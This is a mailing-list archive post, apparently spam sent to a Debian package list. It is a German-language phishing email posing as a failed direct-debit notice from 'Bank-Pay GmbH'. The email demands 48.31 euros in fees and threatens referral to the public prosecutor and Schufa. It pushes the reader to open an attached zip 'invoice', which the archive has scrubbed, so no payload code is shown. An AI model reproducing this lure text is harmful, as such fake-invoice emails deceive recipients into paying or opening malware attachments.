[Pkg-shadow-devel] Bug#385085: Lastschrift Nummer 19382863 konnte nicht vorgenommen werden 19.03.2015

[Rechnungsstelle Bank-Pay GmbH]

Sehr geehrter Kunde,

das von Ihnen vorliegende Konto wurde im Moment der Abbuchung nicht ausreichend gedeckt um die Lastschrift durchzuführen. Sie haben eine offene Forderung bei Bank-Pay GmbH. 

Aufgrund des andauernden Zahlungsverzug sind Sie gezwungen dabei, die durch unsere Inanspruchnahme entstandenen Gebühren von 48,31 Euro zu bezahlen. Wir erwarten die vollständige Zahlung zuzüglich der Zusatzgebühren bis zum 24.03.2015 auf unser Konto. Namens unseren Mandanten fordern wir Sie auf, die offene Forderung sofort zu begleichen. 

Es erfolgt keine weitere Erinnerung oder Mahnung. Nach Ablauf der festgelegten Frist wird die Akte dem Staatsanwalt und der Schufa übergeben. Die detaillierte Forderungsausstellung, der Sie alle Einzelpositionen entnehmen können, ist beigefügt. Für Rückfragen oder Unklarheiten erwarten wir eine Kontaktaufnahme innerhalb des selben Zeitraums. 

Mit verbindlichen Grüßen

Rechnungsstelle Kühn Tim
-------------- next part --------------
A non-text attachment was scrubbed...
Name: Rechnung vom 19.03.2015 - Rechnungsstelle Bank-Pay GmbH.zip
Type: application/octet-stream
Size: 71754 bytes
Desc: not available
URL: <http://lists.alioth.debian.org/pipermail/pkg-shadow-devel/attachments/20150319/1123d13c/attachment-0001.obj>